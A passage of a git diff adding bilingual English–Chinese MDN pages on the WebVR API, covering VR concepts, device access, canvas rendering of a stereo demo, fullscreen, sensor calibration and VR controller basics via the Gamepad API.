Based on the Wikipedia definition, IPD is the distance between the centers of the pupils of the two eyes. IPD is critical for the design of binocular viewing systems, where both eye pupils need to be positioned within the exit pupils of the viewing system.

+ +

根据维基百科的定义,IPD是指两眼瞳孔之间的距离。IPD对于双目视觉系统是非常重要的,因为双眼的瞳孔都必须对准这套视觉系统的瞳孔出口。

+ +

Interpupillary distace ( IPD ) is represented by {{domxref("VREyeParameters.eyeTranslation")}} in WebVR.

+ +

瞳孔间距(IPD)可用 {{domxref("VREyeParameters.eyeTranslation")}} 来表示.

+ +

This value is returned by the HMD and its value may be around 60 to 70 mm; in the case of some HMDs like Oculus Rift's, you can set your own IPD. Normally we don't change this value but you can play with it to change the scale of the entire scene. For example, if your IPD is set to 6000 mm, the user would view the scene like a giant looking at a Lilliputian world.

+ +

这个值是通过HMD来返回的并且它的值一般在60-70mm之间;在像是Oculus Rift这样的HMD设备中,你可以设置你自己的IPD。一般我们不会去改变这个值,但是你可以通过有意的改变它从而改变你所身处的整个场景。例如,如果你将IPD调整到6000mm,使用者将会看到一个好像巨人身处小人国中一样的世界。

+ +

Degrees of Freedom ( DoF ) 自由度【K】

+ +

DoF refers to the movement of a rigid body inside space. There is no uniformity in creating acronyms for this term — we can find references to 3DoF in the context of sensors that detect only rotational head tracking, and 6DoF when an input allows us to control position and orientation simultaneously. We even sometimes find 9DoF references when the hardware contains three sensors like gyroscope, accelerometer and magnetometer, but the results of the 3 x 3DoF values will actually return a 6 degrees of freedom tracking.

+ +

DOF指向的是空间中固态物体移动的自由度。并没有一个统一的对这个专业术语的缩写--我们可以找到,在关于侦测头部转动的传感器的那篇文章中的3DOF的参考,还有当一个传入设备允许我们同时控制位置和方位信息时的6DOF。我们有时候甚至会看到9DOF的案例,那就是当硬件中包含了三个感应装置时,如陀螺仪、加速计和磁力计,但是3 x 3DoF的值的接过实际上返回的,还是一个6纬的自由度跟踪结果。

+ +

DoF is directly related to the tracking of the user's head movement.

+ +

DOF直接和使用者的头部运动追踪相关联。

+ +

Cone of focus 锥形焦点【K】

+ +

Although our field of view is much larger (approximately 180º), we need to be aware that only in a small portion of that field can you perceive symbols (the center 60º) or read text (the center 10º). If you do not have an eye tracking sensor we assume that the center of the screen is where the user is focusing their eyes.

+ +

虽然我们的视野非常的旷阔(最大可以达到180°),但是我们必须要意识到只有在一个小范围内,你才可以察觉到一些标识的存在(中心向外60°)或者读取文本(中心向外10°)。如果你没有一个眼部追踪器,那么我们建议你将使用者的视角尽量控制在屏幕中心点附近。

+ +

This limitation is important to consider when deciding where place visuals on the app canvas — too far towards the edge of the cone of focus can lead to eye strain much ore quickly. There is a very interesting post about this (amongst other things) at MozVR.com — see Quick VR Mockups with Illustrator.

+ +

这样的限制对于在考虑如何在APP画布上设置视角的时候,是非常重要的--假如太过于远离锥形焦点的边缘,就可能更快更容易的导致眼部的拉伤。想要阅读MozVR.com 上的关于这个问题的有意思的文章(还包含其他内容)--请点击Quick VR Mockups with Illustrator.

+ +

3D Positional Audio 3D定位音效【K】【如ECHO回声APP】

+ +

3D positional audio refers to a group of effects that manipulate audio to simulate how it would sound in a three dimensional space.

+ +

3D定位音效,指的是一组控制声音去实现怎样模拟它在一个三维空间中播放的效果。

+ +

This directly related to the Web Audio API, which allows us to place sounds on objects we have in the canvas or launch audio depending on the part of the scene the user is traveling towards or looking at.

+ +

这项技术直接关系到Web Audio API,它可以让我们将一段声音附加到,一个我们在VANVAS中或者launch audio中的物体上,并且基于一个用户在其中可以移动或者观看的场景的一部分。

diff --git a/files/zh-cn/web/api/webvr_api/index.html b/files/zh-cn/web/api/webvr_api/index.html new file mode 100644 index 0000000000..9c4577ccff --- /dev/null +++ b/files/zh-cn/web/api/webvr_api/index.html @@ -0,0 +1,211 @@ +--- +title: WebVR API +slug: Web/API/WebVR_API +tags: + - API + - VR + - WebVR + - 虚拟现实 +translation_of: Web/API/WebVR_API +--- +
{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}
+ +

WebVR API 能为虚拟现实设备的渲染提供支持 — 例如像Oculus Rift或者HTC Vive 这样的头戴式设备与 Web apps 的连接。它能让开发者将位置和动作信息转换成3D场景中的运动。基于这项技术能产生很多有趣的应用, 比如虚拟的产品展示,可交互的培训课程,以及超强沉浸感的第一人称游戏。

+ +

概念及使用方法

+ +

【K】

+ +

Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"

+ +

Any VR devices attached to your computer will be returned by the {{domxref("Navigator.getVRDevices()")}} method. This returns an array of objects to represent the attached devices, which inherit from the general {{domxref("VRDevice")}} object — generally a head mounted display will have two devices — the head mounted display itself, represented by {{domxref("HMDVRDevice")}}, and a position sensor camera that keeps track of your head position, represented by {{domxref("PositionSensorVRDevice")}}.

+ +

连接到电脑的所有VR设备都将由 {{domxref("Navigator.getVRDevices()")}} 方法返回。 这个方法将返回一个包含了所有已连接设备的对象数组,每个设备对应一个对象, 该对象继承自 {{domxref("VRDevice")}}  — 通常一个头显将包含两个设备 — 头显自身由 {{domxref("HMDVRDevice")}} 表示, 和一个跟踪头部位置的位置捕捉传感器,由 {{domxref("PositionSensorVRDevice")}} 表示。

+ +

The {{domxref("PositionSensorVRDevice")}} object contains the {{domxref("PositionSensorVRDevice.getState","getState()")}} method, which returns a {{domxref("VRPositionState")}} object — this represents the sensor’s state at a given timestamp, and includes properties containing useful data such as current velocity, acceleration, and orientation, useful for updating the rendering of a scene on each frame according to the movement of the VR head mounted display.

+ +

{{domxref("PositionSensorVRDevice")}} 对象有一个 {{domxref("PositionSensorVRDevice.getState","getState()")}} 方法, 该方法返回一个{{domxref("VRPositionState")}} 对象 — 这个对象代表位置传感器在指定时刻的状态,包含了一些十分有用的信息,例如速度、加速度以及运动方向,可用于根据头部运动刷新画面显示。

+ +

The {{domxref("HMDVRDevice.getEyeParameters()")}} method returns a {{domxref("VREyeParameters")}} object, which can be used to return field of view information — how much of the scene the head mounted display can see. The {{domxref("VREyeParameters.currentFieldOfView")}} returns a {{domxref("VRFieldOfView")}} object that contains 4 angles describing the current view from a center point. You can also change the field of view using {{domxref("HMDVRDevice.setFieldOfView()")}}.

+ +

{{domxref("HMDVRDevice.getEyeParameters()")}} 方法返回一个 {{domxref("VREyeParameters")}} 对象, 可用于获取显示区域的信息 — 头显可以看到多少画面。 {{domxref("VREyeParameters.currentFieldOfView")}} 返回一个 {{domxref("VRFieldOfView")}} 对象 ,该对象包含了4个角度信息来描述当前的显示区域. 你可以用 {{domxref("HMDVRDevice.setFieldOfView()")}} 来改变当前的显示区域。

+ +

 

+ +
+

Note: To find out more about using these interfaces in your own app, read Using the WebVR API. To learn more about the basic concepts behind VR, read WebVR concepts.

+ +

注释:: 要了解更多关于如何在你的应用程序中使用这些接口,请阅读文章Using the WebVR API. 要学习更多关于VR技术背后的基础概念,请阅读文章 WebVR concepts.

+
+ +

Using controllers: Combining WebVR with the Gamepad API 

+ +

使用控制器:将WebVR与Gamepad API相结合

+ +

Many WebVR hardware setups feature controllers that go along with the headset. These can be used in WebVR apps via the Gamepad API, and specifically the Gamepad Extensions API that adds API features for accessing controller posehaptic actuators, and more.

+ +
Note: Our Using VR controllers with WebVR article explains the basics of how to use VR controllers with WebVR apps. + +

 

+
+ +

WebVR接口

+ +
+
{{domxref("Navigator.getVRDevices")}}
+
Returns a promise that resolves to an array of objects representing the VR devices attached to the computer.
+ 返回一个Promise对象,并通过resolve方式返回参数,参数为链接到电脑的VR设备数组。
+
{{domxref("VRDevice")}}
+
A generic VR device, includes information such as device IDs and descriptions. Inherited by HMDVRDevice and PositionSensorVRDevice.
+ 返回一个包括了VR设备IDs,描述等信息的类。HMDVRDevice 和 PositionSensorVRDevice 继承了 VRDevice。
+
{{domxref("HMDVRDevice")}}
+
Represents a head mounted display, providing access to information about each eye, and the current field of view.
+ 头戴设备。提供设备双眼、当前FOV(field of view)信息。
+
{{domxref("PositionSensorVRDevice")}}
+
Represents the position sensor for the VR hardware, allowing access to information such as position and orientation.
+ VR设备的位置传感器。获取位置、方向信息。
+
{{domxref("VRPose")}}
+
Represents the position state at a given timestamp (which includes orientation, position, velocity, and acceleration.)
+ 根据一个时间戳返回包括(方向、位置、速度、加速度)的状态。
+
{{domxref("VREyeParameters")}}
+
Provides access to all the information required to correctly render a scene for each given eye, including field of view information.
+ 给双眼提供正确渲染场景的所有信息,包括FOV。
+
{{domxref("VRFieldOfView")}}
+
Represents a field of view defined by 4 different degree values describing the view from a center point.
+ 返回以视窗的中心点为基点的,表示FOV的4个角度值(downDegrees, leftDegrees, rightDegrees, upDegrees)。
+
{{domxref("VRFieldOfViewReadOnly")}}
+
Contains the raw definition for the degree value properties required to define a field of view. Inherited by VRFieldOfView.
+ 定义一个FOV必须的角度属性。VRFieldOfView 继承了 VRFieldOfViewReadOnly。
+
+ +

示例

+ +

【K】

+ +

You can find a number of examples at these Github repos:

+ +

你可以在Github的协议中找到一系列的案例:

+ + + +

规范

+ +

【K】

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR')}} +

{{Spec2('WebVR')}}

+ +

草稿阶段

+
+

Initial definition

+ +

最初的定义

+
+ +

【K】

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +

【K】

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatGeckoMobile(39)}}[2]
+ {{CompatGeckoMobile(44)}}[3]
{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

相关文章

+ + diff --git a/files/zh-cn/web/api/webvr_api/using_the_webvr_api/index.html b/files/zh-cn/web/api/webvr_api/using_the_webvr_api/index.html new file mode 100644 index 0000000000..0333120187 --- /dev/null +++ b/files/zh-cn/web/api/webvr_api/using_the_webvr_api/index.html @@ -0,0 +1,329 @@ +--- +title: Using the WebVR API +slug: Web/API/WebVR_API/Using_the_WebVR_API +tags: + - WebVR + - 入门指引 +translation_of: Web/API/WebVR_API/Using_the_WebVR_API +--- +

{{draft("The WebVR API documentation is currently being updated to cover the v1.0 spec, therefore some of this information will be out of date. Contact ~~chrisdavidmills if you have any questions about this work.")}}

+ +

{{draft("最新的WebVR API文档已经更新到1.0版,因此本页的一些信息很可能已经过时。如果你有任何跟本页内容有关的需要,请联系 ~~chrisdavidmills ")}}

+ +

The WebVR API is a fantastic addition to the web developer's toolkit, allowing access to virtual reality hardware such as the Oculus Rift, and converting outputted movement and orientation data into view rendering updates on a web app. But how do you get started in developing VR apps for the Web? This article will guide you through the basics.
+ WebVR API 对于web开发者来说,是一个令人心动的功能包,允许你连接到类似于Oculus Rift 这样的虚拟现实硬件,并且能够在你的web app中,将从硬件获取到的位置移动数据和姿态角数据,实时更新你的渲染显示输出。具体要如何在Web上开始开发你的VR app呢?这篇文章将会提供基础的引导信息。

+ +
+

Note: Currently WebVR is at an experimental stage (you can find the latest spec here); it currently works best in Firefox Nightly/Developer Edition, with some aspects of it also working in Google Chrome. Read Bringing VR to Chrome by Brandon Jones for more details on that.
+ 注意:当前WebVR 还是体验实验阶段(你可以从这里找到最新规格说明);它已经在Firefox Nightly/Developer Edition的版本上工作的很好了,部分功能也在Google Chrome上可以正常工作了。详细请访问由Brandon Jones在 Bringing VR to Chrome提供的更多内容。

+
+ +

起步

+ +

To get started, you need to have your VR hardware set up as recommended in the owner's manual, and your computer set up as indicated in WebVR environment setup. A dedicated GPU is recommended for smoother performance.
+ 你需要先准备好一个已经配置好VR硬件,并且还需要完成 WebVR环境的安装。 当然,若想要保证很平滑的体验,你需要配置一个足够好的GPU显卡。

+ +

You also need to have Firefox Nightly (or Developer Edition) installed, along with the WebVR Enabler Add-on
+ 安装好 Firefox Nightly (或 Developer Edition),以及 WebVR Enabler Add-on

+ +

Once your environment is set up, try visiting one of our MozVR projects and clicking on the "Enter VR" button to test it out.
+ 设置好环境后,请尝试访问我们直接可在线运行的工程项目 MozVR projects ,点击“Enter VR” 按钮,就可以开始测试你的环境了。

+ +
+

Note: For more in depth information, be sure to check out WebVR environment setup.
+ 注意:更深层次的信息,请check out  WebVR environment setup 以获取更详细的内容。

+
+ +
+

Note: There are also cheaper options available such as using a mobile device for the head mounted display (in this case you won't have a position sensor available, so you might have to fake the orientation data using the deviceorientation API instead perhaps.)
+ 注意:你也可以使用更便宜的方式,比如使用一个手机设备来实现头部显示功能(只是这种情况下,你将没有空间位置追踪传感器相关的功能,将只能使用姿态角数据相关的API deviceorientation API 。)

+
+ +

Introducing a simple demo
+ 简单示例介绍

+ +

There are a number of WebVR demos available at the MozVR team repo, and the MDN webvr-tests repo, but the main one we will be focusing on in this article is our positionsensorvrdevice demo (view it live):
+ 在MozVR team repoMDN webvr-tests repo提供了一定数量的WebVR示例,在这篇文章里,我们将着重关注我们的 positionsensorvrdevice 提供的示例 (点此访问live view it live)

+ +

+ +

This is a simple 2.5D demo showing a Firefox logo seen on a left and right eye view, rendered on HTML5 Canvas. When you view the demo with a VR HMD and click the canvas, the demo will go fullscreen, and you'll be able to approach the Firefox logo. It will move realistically as you move your head towards and away from it, up and down and side to side, and rotate your head in any direction.
+ 这是一个简单的2.5D的示例,在左右眼两个区域,以HTML5 Canvas的方式,同时渲染了Firefox的LOGO。当你使用VR头显来观看这个示例时,点击画面,这个DEMO就会切换到全屏形式,可以尝试靠近Firefox图标。将会非常真实地同步你的头部运动后应该看到的内容,包括可以上下移动、左右移动、转动你的头部看想看的方向。

+ +

The demo was deliberately kept simple so that you can easily see what is going on with the WebVR code. The API is simple enough that you can easily apply WebVR-controlled movement to any app you like, from simple DOM-based interfaces to complex WebGL scenes.
+ 这个示例程序特意做成足够地简单,以便于你可以更容易地了解WebVR代码的工作过程。从代码中你可以看到,这些API足够的简单,你可以轻松地将这些WebVR控制移动和转动的能力,移植到新的应用功能中,比如一个简单的使用WebGL来显示的基于DOM接口的应用。

+ +

How does the app work?
+ app是怎样工作的呢?

+ +


+ In this section we'll go through the different parts of the code that make the app work, so you can see what's required at a basic level.
+ 本章节,我们将通过不同形式的代码来运行,从而你可以了解到哪些东西是最基础的。

+ +

Accessing the VR devices
+ 连接并访问VR设备

+ +

The first thing to do is get a programmatic reference to the VR hardware connected to your computer. This is done using {{domxref("Navigator.getVRDevices")}}, which returns a promise that resolves to an array of all the vr devices connected to your computer.
+ 首先,你需要获取连接到你当前电脑的VR硬件的程序对象的引用。通过调用{{domxref("Navigator.getVRDevices")}}这个API,可以获取到已经连接到当前电脑的VR设备的数组。

+ +

There are two kinds of object that may be returned:
+ 可能返回两种类型的对象:

+ + + +

You can see some very simple code showing the kind of basic device information that can be returned in our vrdevice demo.
+ 在 vrdevice demo 中,使用简单代码即可以获取设备基础信息。

+ +

However, what you really want is something that grabs a pair of devices (perhaps many pairs in multiplayer VR games of the future). The following code taken from the WebVR spec (and also used in the positionsensorvrdevice demo) does the trick pretty well:
+ 当然,若你需要同时获取多套VR设备的信息(可能是将来多个玩家的多套设备),WebVR说明书中包含的以下代码会更适合你来参考(在 positionsensorvrdevice 示例代码中也有使用这段代码逻辑)。

+ +
var gHMD, gPositionSensor;
+
+navigator.getVRDevices().then(function(devices) {
+  for (var i = 0; i < devices.length; ++i) {
+    if (devices[i] instanceof HMDVRDevice) {
+      gHMD = devices[i];
+      break;
+    }
+  }
+
+  if (gHMD) {
+    for (var i = 0; i < devices.length; ++i) {
+      if (devices[i] instanceof PositionSensorVRDevice && devices[i].hardwareUnitId === gHMD.hardwareUnitId) {
+        gPositionSensor = devices[i];
+        break;
+      }
+    }
+  }
+});
+ +

Here we grab the first instance we find of an {{domxref("HMDVRDevice")}} and store it in the gHMD variable. Next, we grab the first instance we find of a {{domxref("PositionSensorVRDevice")}} and store it in the gPositionSensor variable, but only if its {{domxref("VRDevice.hardWareUnitId")}} property matches that of the gHMD object. Separate devices that are part of the same overall hardware unit will share a hardware unit ID — this is how you check that you've got references to two matching devices.
+ 这段代码,先获取第一个找到 {{domxref("HMDVRDevice")}} 类型的对象引用,赋值给gHMD变量。若获取到了,然后,再找到一个 {{domxref("PositionSensorVRDevice")}} 类型的对象引用,并且它与gHMD的 {{domxref("VRDevice.hardWareUnitId")}} 属性值相同时,即找到配对的对象,赋值给gPositionSensor变量。同一套设备单元中的多个分离的设备会共享他们的 hardware unit ID,可以依此来检测两个设备对象是否是同一套。

+ +

Initialising the app 初始化APP

+ +

The scene is rendered on a {{htmlelement("canvas")}} element, created and placed as follows:
+ 场景最终是通过 {{htmlelement("canvas")}} 标记元素来显示。canvas画布可通过以下JS代码来创建。

+ +
var myCanvas = document.createElement('canvas');
+var ctx = myCanvas.getContext('2d');
+var body = document.querySelector('body');
+body.appendChild(myCanvas);
+ +

Next, we create a new image and use a {{event("load")}} event to check that the image is loaded before running draw(), the main loop for our app:
+ 然后,我们在主渲染循环控制中,先创建一个图片对象,并且在draw()方法运行前,监听 {{event("load")}} 事件回调,以检查图片是否已经被正常装载成功。

+ +
var image = new Image();
+image.src = 'firefox.png';
+image.onload = draw;
+ +

The main loop 渲染显示主循环

+ +

draw() looks like this:
+ draw()方法的实现代码参考如下:

+ +
function draw() {
+  WIDTH = window.innerWidth;
+  HEIGHT = window.innerHeight;
+  lCtrOffset = WIDTH*0.25;
+  rCtrOffset = WIDTH*0.25;
+
+  myCanvas.width = WIDTH;
+  myCanvas.height = HEIGHT;
+
+  setView();
+  drawImages();
+  drawCrosshairs();
+
+  requestAnimationFrame(draw);
+}
+ +

The window WIDTH and HEIGHT is resampled on each frame then used to set:
+ 在控制每一帧显示输出时,都有重新获取 window 窗口当前的宽、高,并依此来调整输出显示:

+ + + +

This is done so that the scene will resize correctly whenever the browser window is resized by the user.

+ +

Next in the loop we run three functions:

+ + + +

You'll learn more about these later on.

+ +

Finally for the loop, we run requestAnimationFrame(draw) so that the draw() loop is continually run.

+ +

Retrieving position and orientation information 提取位置与姿态

+ +

Now lets study the setView() function in detail. We'll step through each part of the code, explaining what it all does:

+ +
function setView() {
+  var posState = gPositionSensor.getState();
+ +

First we call {{domxref("PositionSensorVRDevice.getState")}} on the reference to our position sensor. This method returns everything you might want to know about the current state of the HMD — accessible through a {{domxref("VRPositionState")}} object — including its position, orientation, and more advanced information such as linear and angular velocity/acceleration.

+ +
  if(posState.hasPosition) {
+    posPara.textContent = 'Position: x' + roundToTwo(posState.position.x) + " y"
+                                + roundToTwo(posState.position.y) + " z"
+                                + roundToTwo(posState.position.z);
+    xPos = -posState.position.x * WIDTH * 2;
+    yPos = posState.position.y * HEIGHT * 2;
+    if(-posState.position.z > 0.01) {
+      zPos = -posState.position.z;
+    } else {
+      zPos = 0.01;
+    }
+  }
+ +

In the next part, we first check to make sure valid position information is available for the HMD using {{domxref("VRPositionState.hasPosition")}}, so that we don't return an error and stop the app working (if the HMD is switched off, or not pointing at the position sensor.)

+ +

Then we output the current position information to a paragraph in the app UI for information purposes (rounded to two decimal places using a custom function to make it more readable.)

+ +

Last up, we set our xPos, yPos, and zPos variables relative to the position information stored in {{domxref("VRPositionState.position")}}. You'll notice that we have used an if ... else block to make sure the zPos value stays at 0.01 or above — the app was throwing an error if it went below 0.

+ +
  if(posState.hasOrientation) {
+    orientPara.textContent = 'Orientation: x' + roundToTwo(posState.orientation.x) + " y"
+                                + roundToTwo(posState.orientation.y) + " z"
+                                + roundToTwo(posState.orientation.z);
+    xOrient = posState.orientation.x * WIDTH;
+    yOrient = -posState.orientation.y * HEIGHT * 2;
+    zOrient = posState.orientation.z * 180;
+
+  }
+ +

Next, we use a similar process to update the scene according to the HMD's orientation — check that valid orientation data is available using {{domxref("VRPositionState.hasOrientation")}}, display orientation data in the UI for informational purposes, and then set the xOrient, yOrient, and zOrient values relative to the orientation information stored in {{domxref("VRPositionState.orientation")}}.

+ +
  timePara.textContent = 'Timestamp: ' + Math.floor(posState.timeStamp);
+}
+ +

Finally, we output the current timeStamp stored in {{domxref("VRPositionState.timeStamp")}} to the UI for information. This value can be useful for determining if position data has been updated, and what order updates have occured in.

+ +

Updating the scene 更新场景输出画画

+ +

The xPos, yPos, zPos, xOrient, yOrient and zOrient value retrieved by setView() are all used as modifiers for updating the scene rendering done by drawImages(). We'll look at how below, although we'll only walk through the code for drawing the left eye view (the other is very similar, but shifted over to the right):

+ +
function drawImages() {
+  ctx.fillStyle = 'white';
+  ctx.fillRect(0,0,WIDTH,HEIGHT);
+ +

First we draw a white {{domxref("CanvasRenderingContext2D.fillRect","fillRect()")}} to clear the scene before the next frame is drawn.

+ +
  ctx.save();
+  ctx.beginPath();
+  ctx.translate(WIDTH/4,HEIGHT/2);
+  ctx.rect(-(WIDTH/4),-(HEIGHT/2),WIDTH/2,HEIGHT);
+ +

Next, we save the context state with {{domxref("CanvasRenderingContext2D.save","save()")}} so we can treat the left eye view as a separate image and not have its code affect the right eye view.

+ +

We then {{domxref("CanvasRenderingContext2D.beginPath","begin a path")}}, {{domxref("CanvasRenderingContext2D.translate","translate the canvas")}} so that the origin is now in the center of the left eye view (a quarter of the width across and half the height down) — which is needed so that the rotation works correctly (rotation happens around the origin of the canvas) — and draw a {{domxref("CanvasRenderingContext2D.rect","rect()")}} around the whole left eye view.

+ +

Note that the rect() has to be drawn starting from minus a quarter of the width and minus half the height, because of the translation applied earlier.

+ +
  ctx.clip();
+ +

Now we {{domxref("CanvasRenderingContext2D.clip","clip()")}} the canvas. Because we called this just after the rect() was drawn, anything else that we do on the canvas will be constrained inside the rect(), with any overflow hidden until a restore() call is made (see later on.) This ensures that the whole left eye view will remain separate from the right eye view.

+ +
  ctx.rotate(zOrient * Math.PI / 180);
+ +

A rotation is now applied to the image, related to the current value of zOrient, so that the scene rotates as you rotate your head.

+ +
  ctx.drawImage(image,-(WIDTH/4)+lCtrOffset-((image.width)/(2*(1/zPos)))+xPos-yOrient,-((image.height)/(2*(1/zPos)))+yPos+xOrient,image.width*zPos,image.height*zPos);
+ +

Now for the actual image drawing! This rather nasty line of code needs breaking down, so here it is, argument by argument:

+ + + +
  ctx.strokeStyle = "black";
+  ctx.stroke();
+ +

Next we draw a black {{domxref("CanvasRenderingContext2D.stroke","stroke()")}} around the left eye view, just to aid the view separation a bit more.

+ +
  ctx.restore();
+ +

Finally, we {{domxref("CanvasRenderingContext2D.restore","restore()")}} the canvas so we can then go on to draw the right eye view.

+ +
  ...
+}
+ +
+

Note: We are kind of cheating here, using a 2D canvas to approximate a 3D scene. But it keeps things simple for learning purposes. You can use the position and orientation data discussed above to modify the view rendering on any app written with web technologies. For example, our 3Dpositionorientation demo uses very similar code to that shown above to control the view of a WebGL scene created using Three.js.

+
+ +
+

Note: The code for drawCrosshairs() is very simple in comparison to drawImages(), so we'll leave you to study that for yourself if you're interested!

+
+ +

Fullscreen 全屏控制

+ +

The VR effect is much more effective if you set your app runnning in fullscreen mode — this generally means setting your {{htmlelement("canvas")}} element to fullscreen when a specific event occurs — such as double-clicking the display or pressing a specific button.

+ +

In this case I have just kept things simple, running a fullScreen() function when the canvas is clicked:

+ +
myCanvas.addEventListener('click',fullScreen,false);
+ +

The fullScreen() function checks which version of the requestFullscreen() method is present on the canvas (this will differ by browser) and then calls the appropriate one, for maximum compatibility:

+ +
function fullScreen() {
+  if (myCanvas.requestFullscreen) {
+    myCanvas.requestFullscreen();
+  } else if (myCanvas.msRequestFullscreen) {
+    myCanvas.msRequestFullscreen();
+  } else if (myCanvas.mozRequestFullScreen) {
+    myCanvas.mozRequestFullScreen();
+  } else if (myCanvas.webkitRequestFullscreen) {
+    myCanvas.webkitRequestFullscreen();
+  }
+}
+ +

Calibrating field of view and device orientation 对FOV与设备姿态进行归零显示

+ +

I've not given much thought to this in my current demo, but in commercial apps you'll need to do some user calibration to make sure your app is working for the user and their particular VR hardware. The WebVR API has a number of features to aid in this.

+ +

First of all, you can use the {{domxref("PositionSensorVRDevice.resetSensor")}} method to reset the HMD position orientation. Effectively what it does is to set the current position/orientation of the headset to 0. So you need to ensure it is held in a sensible 0 position before running the function. In our positionsensorvrdevice demo***, you can play with it using our "Reset Sensor" button:

+ +
<button>Reset Sensor</button>
+ +
document.querySelector('button').onclick = function() {
+  gPositionSensor.resetSensor();
+}
+ +

The other thing to calibrate is the field of view (FOV) of your headset — how much of the scene can be seen in the up, right, down and left directions. This information can be retrieved for each eye separately using the {{domxref("HMDVRDevice.getEyeParameters")}} method, which returns parameters for each eye separately (you need to call it twice, once with a parameter of left, and once with a parameter of right.) This returns a {{domxref("VREyeParameters")}} object for each eye.

+ +

As an example, you could retrieve the current field of view for an eye using {{domxref("VREyeParameters.currentFieldOfView")}}. This returns a {{domxref("VRFieldOfView")}} object containing four properties:

+ + + +

The field of view created is a pyramid shape, the apex of which is emanating from the eye.

+ +

You could check whether the user has a suitable field of view for your app, and if not, set a new field of view using {{domxref("HMDVRDevice.setFieldOfView")}} method. A simple function to handle this might look like so:

+ +
function setCustomFOV(up,right,down,left) {
+  var testFOV = new VRFieldOfView(up,right,down,left);
+
+  gHMD.setFieldOfView(testFOV,testFOV,0.01,10000.0);
+}
+ +

This function accepts the four degree values as arguments, then creates a new {{domxref("VRFieldOfView")}} object using the VRFieldOfView() constructor. This is then fed into setFieldOfView() as the first two arguments (the FOV for the left eye and the right eye). The third and fourth arguments are the zNear and zFar values — how close and far away from the eye an object can be in the direction of the FOV and still be inside it.

diff --git a/files/zh-cn/web/api/webvr_api/using_vr_controllers_with_webvr/index.html b/files/zh-cn/web/api/webvr_api/using_vr_controllers_with_webvr/index.html new file mode 100644 index 0000000000..57a983875b --- /dev/null +++ b/files/zh-cn/web/api/webvr_api/using_vr_controllers_with_webvr/index.html @@ -0,0 +1,259 @@ +--- +title: Using VR controllers with WebVR +slug: Web/API/WebVR_API/Using_VR_controllers_with_WebVR +translation_of: Web/API/WebVR_API/Using_VR_controllers_with_WebVR +--- +
{{APIRef("WebVR API")}}
+ +

Many WebVR hardware setups feature controllers that go along with the headset. These can be used in WebVR apps via the Gamepad API, and specifically the Gamepad Extensions API that adds API features for accessing controller pose, haptic actuators, and more. This article explains the basics.

+ +

许多WebVR硬件的功能设置控制器与头戴设备在一起,实际这些功能可以通过手柄控制器在WebVR软件中实现,尤其对于添加了姿态控制器,触觉驱动器,等拓展性API的手柄控制器。本篇文章介绍了一些基本的内容。

+ +

The WebVR API

+ +

The WebVR API is a nascent, but very interesting new feature of the web platform that allows developers to create web-based virtual reality experiences. It does this by providing access to VR headsets connected to your computer as {{domxref("VRDisplay")}} objects, which can be manipulated to start and stop presentation to the display, queried for movement data (e.g. orientation and position) that can be used to update the display on each frame of the animation loop, and more.

+ +

Before you read this article, you should really be familiar with the basics of the WebVR API already — go and read Using the WebVR API first, if you haven't already done so, which also details browser support and required hardware setup.

+ +

The Gamepad API

+ +

The Gamepad API is a fairly well-supported API that allows developers to access gamepads/controllers connected to your computer and use them to control web apps. The basic Gamepad API provides access to connected controllers as {{domxref("Gamepad")}} objects, which can then be queried to find out what buttons are being pressed and thumbsticks (axes) are being moved at any point, etc.

+ +

You can find more about basic Gamepad API usage in Using the Gamepad API, and Implementing controls using the Gamepad API.

+ +

However, in this article we will mainly be concentrating on some of the new features provided by the {{specname("GamepadExtensions")}} API, which allows access to advanced controller information such as position and orientation data, control over haptic actuators (e.g. vibration hardware), and more. This API is very new, and currently is only supported and enabled by default in Firefox 55+ Beta/Nightly channels.

+ +

Types of controller

+ +

There are two types of controller you'll encounter with VR hardware:

+ + + +

Basic controller access

+ +

Now onto some code. Let's look first at the basics of how we get access to VR controllers with the Gamepad API. There are a few strange nuances to bear in mind here, so it is worth taking a look.

+ +

We've written up a simple example to demonstrate — see our vr-controller-basic-info source code (see it running live here also). This demo simply outputs information on the VR displays and gamepads connected to your computer.

+ +

Getting the display information

+ +

The first notable code is as follows:

+ +
var initialRun = true;
+
+if(navigator.getVRDisplays && navigator.getGamepads) {
+  info.textContent = 'WebVR API and Gamepad API supported.'
+  reportDisplays();
+} else {
+  info.textContent = 'WebVR API and/or Gamepad API not supported by this browser.'
+}
+ +

Here we first use a tracking variable, initialRun, to note that this is the first time we have loaded the page. You'll find out more about this later on. Next, we detect to see if the WebVR and Gamepad APIs are supported by cheking for the existence of the {{domxref("Navigator.getVRDisplays()")}} and {{domxref("Navigator.getGamepads()")}} methods. If so, we run our reportDisplays() custom function to start the process off. This function looks like so:

+ +
function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+      console.log(displays.length + ' displays');
+    for(var i = 0; i < displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>Display ' + (i+1) + '</strong>'
+                   + '<br>VR Display ID: ' + displays[i].displayId
+                   + '<br>VR Display Name: ' + displays[i].displayName
+                   + '<br>Display can present content: ' + cap.canPresent
+                   + '<br>Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '<br>Display can return position info: ' + cap.hasPosition
+                   + '<br>Display can return orientation info: ' + cap.hasOrientation
+                   + '<br>Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+
+    setTimeout(reportGamepads, 1000);
+    // For VR, controllers will only be active after their corresponding headset is active
+  });
+}
+ +

